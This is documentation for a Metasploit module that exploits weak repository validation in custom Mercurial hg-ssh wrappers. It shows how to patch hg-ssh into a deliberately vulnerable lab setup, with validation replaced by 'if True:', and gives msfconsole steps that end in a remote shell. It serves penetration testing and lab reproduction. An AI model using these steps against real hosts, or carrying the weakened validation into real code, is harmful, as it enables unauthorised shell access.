Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/exploit/linux/ssh/mercurial_ssh_exec.md
Views: 11789
Vulnerable Application
This module was successfully tested against:
Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation)
Vulnerable Server Setup Steps
Install mercurial on your test server
Patch the hg-ssh Python script script to emulate custom/weak repo validation in hg-ssh wrapper
vi $(which hg-ssh)
Replace
if repo in allowed paths:
withif True:
Replace
cmd = ['-R', repo, 'serve', 'stdio']
withcmd = ['-R', path, 'serve', 'stdio']
Setup a user with SSH pubkey auth
Create a test repo in the users home directory and add a commit
mkdir -p repos/repo1
cd repos/repo1
echo "hello world" > README
hg add README
hg commit -m "Adds README"
Restrict user in authorized_keys to hg-ssh binary only
command="hg-ssh ~/repos/repo1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding INSERT_SSH_PUB_KEY
Verify SSH user can authenticate (should prompt and prevent a shell)
Verify SSH user commands are not allows (should prevent arbitrary commands)
ssh [email protected] ifconfig
Verification Steps
Start msfconsole
Do:
use exploit/linux/ssh/mercurial_ssh_exec
Do:
set RHOST <ip>
Do:
set LHOST <ip>
Do:
set SSH_PRIV_KEY_FILE /Users/jsmith/.ssh/id_rsa
Do:
exploit
You should get a shell.